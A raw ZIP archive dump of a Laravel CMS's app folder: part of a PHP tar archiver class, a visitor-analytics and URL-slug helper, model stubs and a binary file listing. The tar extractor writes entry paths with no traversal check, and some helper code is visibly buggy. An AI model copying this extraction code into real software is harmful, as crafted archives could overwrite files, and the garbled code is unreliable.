//reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?>PKVZVDODOHelpers/Helper.phpnu[$var; } static function GeneralSiteSettings($var) { $Setting = Setting::find(1); return $Setting->$var; } // Get Events Alerts static function eventsAlerts() { if (@Auth::user()->permissionsGroup->view_status) { $Events = Event::where('created_by', '=', Auth::user()->id)->where('start_date', '>=', "'" . date('Y-m-d H:i:s') . "'")->orderby('start_date', 'asc')->limit(10)->get(); } else { $Events = Event::where('start_date', '>=', "'" . date('Y-m-d H:i:s') . "'")->orderby('start_date', 'asc')->limit(10)->get(); } return $Events; } // Get Webmails Alerts static function webmailsAlerts() { //List of all Webmails if (@Auth::user()->permissionsGroup->view_status) { $Webmails = Webmail::where('created_by', '=', Auth::user()->id)->orderby('id', 'desc')->where('status', '=', 0) ->where('cat_id', '=', 0)->limit(4)->get(); } else { $Webmails = Webmail::orderby('id', 'desc')->where('status', '=', 0) ->where('cat_id', '=', 0)->limit(4)->get(); } return $Webmails; } // Get Webmails Alerts static function webmailsNewCount() { //List of all Webmails if (@Auth::user()->permissionsGroup->view_status) { $Webmails = Webmail::where('created_by', '=', Auth::user()->id)->orderby('id', 'desc')->where('status', '=', 0)->where('cat_id', '=', 0)->get(); } else { $Webmails = Webmail::orderby('id', 'desc')->where('status', '=', 0)->where('cat_id', '=', 0)->get(); } return count($Webmails); } // Visitors Data static function SaveVisitorInfo($PageTitle) { function getBrowser() { // check if IE 8 - 11+ preg_match('/Trident\/(.*)/', $_SERVER['HTTP_USER_AGENT'], $matches); if ($matches) { $version = intval($matches[1]) + 4; // Trident 4 for IE8, 5 for IE9, etc return 'Internet Explorer ' . ($version < 11 ? $version : $version); } preg_match('/MSIE (.*)/', $_SERVER['HTTP_USER_AGENT'], $matches); if ($matches) { return 'Internet Explorer ' . intval($matches[1]); } // check if Firefox, Opera, Chrome, Safari foreach (array('Firefox', 'OPR', 'Chrome', 'Safari') as $browser) { preg_match('/' . $browser . '/', $_SERVER['HTTP_USER_AGENT'], $matches); if ($matches) { return str_replace('OPR', 'Opera', $browser); // we don't care about the version, because this is a modern browser that updates itself unlike IE } } } function getOS() { $user_agent = $_SERVER['HTTP_USER_AGENT']; $os_platform = "unknown"; $os_array = array( '/windows nt 6.3/i' => 'Windows 8.1', '/windows nt 6.2/i' => 'Windows 8', '/windows nt 6.1/i' => 'Windows 7', '/windows nt 6.0/i' => 'Windows Vista', '/windows nt 5.2/i' => 'Windows Server 2003/XP x64', '/windows nt 5.1/i' => 'Windows XP', '/windows xp/i' => 'Windows XP', '/windows nt 5.0/i' => 'Windows 2000', '/windows me/i' => 'Windows ME', '/win98/i' => 'Windows 98', '/win95/i' => 'Windows 95', '/win16/i' => 'Windows 3.11', '/macintosh|mac os x/i' => 'Mac OS X', '/mac_powerpc/i' => 'Mac OS 9', '/linux/i' => 'Linux', '/ubuntu/i' => 'Ubuntu', '/iphone/i' => 'iPhone', '/ipod/i' => 'iPod', '/ipad/i' => 'iPad', '/android/i' => 'Android', '/blackberry/i' => 'BlackBerry', '/webos/i' => 'Mobile' ); foreach ($os_array as $regex => $value) { if (preg_match($regex, $user_agent)) { $os_platform = $value; } } return $os_platform; } $visitor_ip = $_SERVER['REMOTE_ADDR']; $current_page_full_link = "http://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; $page_load_time = round((microtime(true) - LARAVEL_START), 8); // Check is it already saved today to visitors? $SavedVisitor = AnalyticsVisitor::where('ip', '=', $visitor_ip)->where('date', '=', date('Y-m-d'))->first(); if (empty($SavedVisitor) ) { // New to analyticsVisitors try { $visitor_ip_details = json_decode(@file_get_contents("http://ipinfo.io/{$visitor_ip}/json")); $visitor_city = @$visitor_ip_details->city; if ($visitor_city == "") { $visitor_city = "unknown"; } $visitor_region = @$visitor_ip_details->region; if ($visitor_region == "") { $visitor_region = "unknown"; } $visitor_country_code = @$visitor_ip_details->country; if ($visitor_country_code == "") { $visitor_country_code = "unknown"; $visitor_country = "unknown"; } else { $v_country = Country::where('code', '=', $visitor_country_code)->first(); $visitor_country = $v_country->title_en; } $visitor_address = "$visitor_region, $visitor_city, $visitor_country"; $visitor_loc = explode(',', @$visitor_ip_details->loc); $visitor_loc_0 = @$visitor_loc[0]; if ($visitor_loc_0 == "") { $visitor_loc_0 = "unknown"; } $visitor_loc_1 = @$visitor_loc[1]; if ($visitor_loc_1 == "") { $visitor_loc_1 = "unknown"; } $visitor_org = @$visitor_ip_details->org; if ($visitor_org == "") { $visitor_org = "unknown"; } $visitor_hostname = @$visitor_ip_details->hostname; if ($visitor_hostname == "") { $visitor_hostname = "No Hostname"; } } catch (Exception $e) { $visitor_city = "unknown"; $visitor_region = "unknown"; $visitor_country_code = "unknown"; $visitor_country = "unknown"; $visitor_loc_0 = "unknown"; $visitor_loc_1 = "unknown"; $visitor_org = "unknown"; $visitor_hostname = "No Hostname"; } $visitor_referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : "unknown"; $visitor_browser = getBrowser(); $visitor_os = getOS(); $visitor_screen_res = "unknown"; // Start saving to database $Visitor = new AnalyticsVisitor; $Visitor->ip = $visitor_ip; $Visitor->city = $visitor_city; $Visitor->country_code = $visitor_country_code; $Visitor->country = $visitor_country; $Visitor->region = $visitor_region; $Visitor->full_address = $visitor_address; $Visitor->location_cor1 = $visitor_loc_0; $Visitor->location_cor2 = $visitor_loc_1; $Visitor->os = $visitor_os; $Visitor->browser = $visitor_browser; $Visitor->resolution = $visitor_screen_res; $Visitor->referrer = $visitor_referrer; $Visitor->hostname = $visitor_hostname; $Visitor->org = $visitor_org; $Visitor->date = date('Y-m-d'); $Visitor->time = date('H:i:s'); $Visitor->save(); // Start saving page info to database $VisitedPage = new AnalyticsPage; $VisitedPage->visitor_id = $Visitor->id; $VisitedPage->ip = $visitor_ip; $VisitedPage->title = $PageTitle; $VisitedPage->name = "unknown"; $VisitedPage->query = $current_page_full_link; $VisitedPage->load_time = $page_load_time; $VisitedPage->date = date('Y-m-d'); $VisitedPage->time = date('H:i:s'); $VisitedPage->save(); } else { // Already Saved to analyticsVisitors // Check if page saved $Savedpage = AnalyticsPage::where('visitor_id', '=', $SavedVisitor->id)->where('ip', '=', $visitor_ip)->where('date', '=', date('Y-m-d'))->where('query', '=', $current_page_full_link)->first(); if (empty($Savedpage) ) { $VisitedPage = new AnalyticsPage; $VisitedPage->visitor_id = $SavedVisitor->id; $VisitedPage->ip = $visitor_ip; $VisitedPage->title = $PageTitle; $VisitedPage->name = "unknown"; $VisitedPage->query = $current_page_full_link; $VisitedPage->load_time = $page_load_time; $VisitedPage->date = date('Y-m-d'); $VisitedPage->time = date('H:i:s'); $VisitedPage->save(); } } } // Videos Check Functions static function Get_youtube_video_id($url) { if (preg_match('/youtu\.be/i', $url) || preg_match('/youtube\.com\/watch/i', $url)) { $pattern = '/^.*((youtu.be\/)|(v\/)|(\/u\/\w\/)|(embed\/)|(watch\?))\??v?=?([^#\&\?]*).*/'; preg_match($pattern, $url, $matches); if (!empty($matches) && strlen($matches[7]) == 11) { return $matches[7]; } } return ''; } static function Get_vimeo_video_id($url) { if (preg_match('/vimeo\.com/i', $url)) { $pattern = '/\/\/(www\.)?vimeo.com\/(\d+)($|\/)/'; preg_match($pattern, $url, $matches); if (!empty($matches)) { return $matches[2]; } } return ''; } // Social Share links static function SocialShare($social, $title) { $shareLink = ""; $URL = "http://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; switch ($social) { case "facebook": $shareLink = "https://www.facebook.com/sharer/sharer.php?u=" . urlencode($URL); break; case "twitter": $shareLink = "https://twitter.com/intent/tweet?text=$title&url=" . urlencode($URL); break; case "google": $shareLink = "https://plus.google.com/share?url=" . urlencode($URL); break; case "linkedin": $shareLink = "http://www.linkedin.com/shareArticle?mini=true&url=" . urlencode($URL) . "&title=$title"; break; case "tumblr": $shareLink = "http://www.tumblr.com/share/link?url=" . urlencode($URL); break; } Return $shareLink; } static function GetIcon($path, $file) { $ext = strrchr($file, "."); $ext = strtolower($ext); $icon = ""; if ($ext == ".pdf") { $icon = ""; } if ($ext == '.png' or $ext == '.jpg' or $ext == '.jpeg' or $ext == '.gif') { $icon = ""; } if ($ext == ".xls" or $ext == '.xlsx') { $icon = ""; } if ($ext == ".ppt" or $ext == '.pptx' or $ext == '.pptm') { $icon = ""; } if ($ext == ".doc" or $ext == '.docx') { $icon = ""; } if ($ext == ".zip" or $ext == '.rar') { $icon = ""; } if ($ext == ".txt" or $ext == '.rtf') { $icon = ""; } if ($ext == ".mp3" or $ext == '.wav') { $icon = ""; } if ($ext == ".mp4" or $ext == '.avi') { $icon = ""; } return $icon; } static function URLSlug($url_ar,$url_he, $url_en, $type = "", $id = 0) { $Check_SEO_st_ar = true; $Check_SEO_st_he = true; $Check_SEO_st_en = true; $seo_url_slug_ar = str_slug($url_ar, '-'); $seo_url_slug_he = str_slug($url_he, '-'); $seo_url_slug_en = str_slug($url_en, '-'); $ReservedURLs = array( "home", "about", "privacy", "terms", "contact", "search", "comment", "order", "sitemap" ); if ($type == "section" && $id > 0) { // .. .. Webmaster Sections $check_WebmasterSection = WebmasterSection::where([['seo_url_slug_ar', $seo_url_slug_ar], ['id', '!=', $id]])->orWhere([['seo_url_slug_en', $seo_url_slug_ar], ['id', '!=', $id]])->get(); if (!empty($check_WebmasterSection) ) { $Check_SEO_st_ar = false; } $check_WebmasterSection = WebmasterSection::where([['seo_url_slug_ar', $seo_url_slug_en], ['id', '!=', $id]])->orWhere([['seo_url_slug_en', $seo_url_slug_en], ['id', '!=', $id]])->get(); if (!empty($check_WebmasterSection)) { $Check_SEO_st_en = false; } } else { // .. .. Webmaster Sections $check_WebmasterSection = WebmasterSection::where('seo_url_slug_ar', $seo_url_slug_ar)->orWhere('seo_url_slug_en', $seo_url_slug_ar)->get(); if (!empty($check_WebmasterSection)) { $Check_SEO_st_ar = false; } $check_WebmasterSection = WebmasterSection::where('seo_url_slug_ar', $seo_url_slug_en)->orWhere('seo_url_slug_en', $seo_url_slug_en)->get(); if (!empty($check_WebmasterSection) ) { $Check_SEO_st_en = false; } } if ($type == "category" && $id > 0) { // .. .. Sections $check_Section = Section::where([['seo_url_slug_he', $seo_url_slug_ar], ['id', '!=', $id]])->orWhere([['seo_url_slug_ar', $seo_url_slug_ar], ['id', '!=', $id]])->orWhere([['seo_url_slug_en', $seo_url_slug_ar], ['id', '!=', $id]])->get(); if (!empty($check_Section) ) { $Check_SEO_st_ar = false; } $check_Section = Section::where([['seo_url_slug_he', $seo_url_slug_en], ['id', '!=', $id]])->orWhere([['seo_url_slug_ar', $seo_url_slug_en], ['id', '!=', $id]])->orWhere([['seo_url_slug_en', $seo_url_slug_en], ['id', '!=', $id]])->get(); if (!empty($check_Section) ) { $Check_SEO_st_en = false; } $check_Section = Section::where([['seo_url_slug_he', $seo_url_slug_he], ['id', '!=', $id]])->orWhere([['seo_url_slug_ar', $seo_url_slug_he], ['id', '!=', $id]])->orWhere([['seo_url_slug_en', $seo_url_slug_he], ['id', '!=', $id]])->get(); if (!empty($check_Section) ) { $Check_SEO_st_he = false; } } else { // .. .. Sections $check_Section = Section::where('seo_url_slug_he', $seo_url_slug_ar)->orWhere('seo_url_slug_ar', $seo_url_slug_ar)->orWhere('seo_url_slug_en', $seo_url_slug_ar)->get(); if (!empty($check_Section) ) { $Check_SEO_st_ar = false; } $check_Section = Section::where('seo_url_slug_he', $seo_url_slug_en)->orWhere('seo_url_slug_ar', $seo_url_slug_en)->orWhere('seo_url_slug_en', $seo_url_slug_en)->get(); if (!empty($check_Section) ) { $Check_SEO_st_en = false; } $check_Section = Section::where('seo_url_slug_he', $seo_url_slug_he)->orWhere('seo_url_slug_ar', $seo_url_slug_he)->orWhere('seo_url_slug_en', $seo_url_slug_he)->get(); if (!empty($check_Section) ) { $Check_SEO_st_en = false; } } if ($type == "topic" && $id > 0) { // .. .. Topics $check_Topic = Topic::where([['seo_url_slug_he', $seo_url_slug_ar], ['id', '!=', $id]])->orWhere([['seo_url_slug_ar', $seo_url_slug_ar], ['id', '!=', $id]])->orWhere([['seo_url_slug_en', $seo_url_slug_ar], ['id', '!=', $id]])->get(); if (!empty($check_Topic) ) { $Check_SEO_st_ar = false; } $check_Topic = Topic::where([['seo_url_slug_he', $seo_url_slug_en], ['id', '!=', $id]])->orWhere([['seo_url_slug_ar', $seo_url_slug_en], ['id', '!=', $id]])->orWhere([['seo_url_slug_en', $seo_url_slug_en], ['id', '!=', $id]])->get(); if (!empty($check_Topic) ) { $Check_SEO_st_en = false; } $check_Topic = Topic::where([['seo_url_slug_he', $seo_url_slug_he], ['id', '!=', $id]])->orWhere([['seo_url_slug_ar', $seo_url_slug_he], ['id', '!=', $id]])->orWhere([['seo_url_slug_en', $seo_url_slug_he], ['id', '!=', $id]])->get(); if (!empty($check_Topic) ) { $Check_SEO_st_he = false; } } else { // .. .. Topics $check_Topic = Topic::where('seo_url_slug_he', $seo_url_slug_ar)->orWhere('seo_url_slug_ar', $seo_url_slug_ar)->orWhere('seo_url_slug_en', $seo_url_slug_ar)->get(); if (!empty($check_Topic)) { $Check_SEO_st_ar = false; } $check_Topic = Topic::where('seo_url_slug_he', $seo_url_slug_en)->orWhere('seo_url_slug_ar', $seo_url_slug_en)->orWhere('seo_url_slug_en', $seo_url_slug_en)->get(); if (!empty($check_Topic) ) { $Check_SEO_st_en = false; } $check_Topic = Topic::where('seo_url_slug_he', $seo_url_slug_he)->orWhere('seo_url_slug_ar', $seo_url_slug_he)->orWhere('seo_url_slug_en', $seo_url_slug_he)->get(); if (!empty($check_Topic)) { $Check_SEO_st_he = false; } } if (in_array($seo_url_slug_ar, $ReservedURLs)) { $Check_SEO_st_ar = false; } if (in_array($seo_url_slug_he, $ReservedURLs)) { $Check_SEO_st_he = false; } if (in_array($seo_url_slug_en, $ReservedURLs)) { $Check_SEO_st_en = false; } if ($seo_url_slug_ar == "") { $Check_SEO_st_ar = true; } if ($seo_url_slug_he == "") { $Check_SEO_st_he = true; } if ($seo_url_slug_en == "") { $Check_SEO_st_en = true; } $ar_slug = ""; if ($Check_SEO_st_ar) { $ar_slug = $seo_url_slug_ar; } $en_slug = ""; if ($Check_SEO_st_en) { $en_slug = $seo_url_slug_en; } $he_slug = ""; if ($Check_SEO_st_he) { $he_slug = $seo_url_slug_he; } return array("slug_ar" => $he_slug,"slug_he" => $he_slug, "slug_en" => $en_slug); } } ?>PKVZdHelpers/desktop.ininu[[.ShellClassInfo] InfoTip=This folder is shared online. IconFile=C:\Program Files (x86)\Google\Drive\googledrivesync.exe IconIndex=16 PKVZd desktop.ininu[[.ShellClassInfo] InfoTip=This folder is shared online. IconFile=C:\Program Files (x86)\Google\Drive\googledrivesync.exe IconIndex=16 PKVZCjjTopicField.phpnu[belongsTo('App\Section', 'section_id'); } } PKVZڠSҩWebmasterSection.phpnu[hasMany('App\Section' , 'webmaster_id')->orderby('row_no', 'asc'); } public function topics() { return $this->hasMany('App\Topic' , 'webmaster_id')->orderby('row_no', 'desc'); } public function menus() { return $this->hasMany('App\Section' , 'cat_id')->orderby('row_no', 'asc'); } public function customFields() { return $this->hasMany('App\WebmasterSectionField' , 'webmaster_id')->where('status', '!=', 0)->orderby('row_no', 'asc'); } } PKVZF/{ZZMenu.phpnu[hasMany('App\Menu', 'father_id')->orderby('row_no', 'asc'); } public function webmasterSection() { return $this->belongsTo('App\WebmasterSection', 'cat_id'); } } PKVZFContactsGroup.phpnu[hasMany('App\Contact', 'group_id'); } } PKVZV Topic.phpnu[PKVZh Webmail.phpnu[PKVZ>t  Photo.phpnu[PKVZs pp WebmasterSetting.phpnu[PKVZ=F| AnalyticsPage.phpnu[PKVZ"||& Providers/BroadcastServiceProvider.phpnu[PKVZi cTT"Providers/EventServiceProvider.phpnu[PKVZ+Providers/index.phpnu[PKVZJ B BnProviders/55825/index.phpnu[PKVZݍb"SProviders/RouteServiceProvider.phpnu[PKVZܟ (  ZProviders/AppServiceProvider.phpnu[PKVZdA\Providers/desktop.ininu[PKVZ??!]Providers/AuthServiceProvider.phpnu[PKVZe_Map.phpnu[PKVZqhQQ`User.phpnu[PKVZ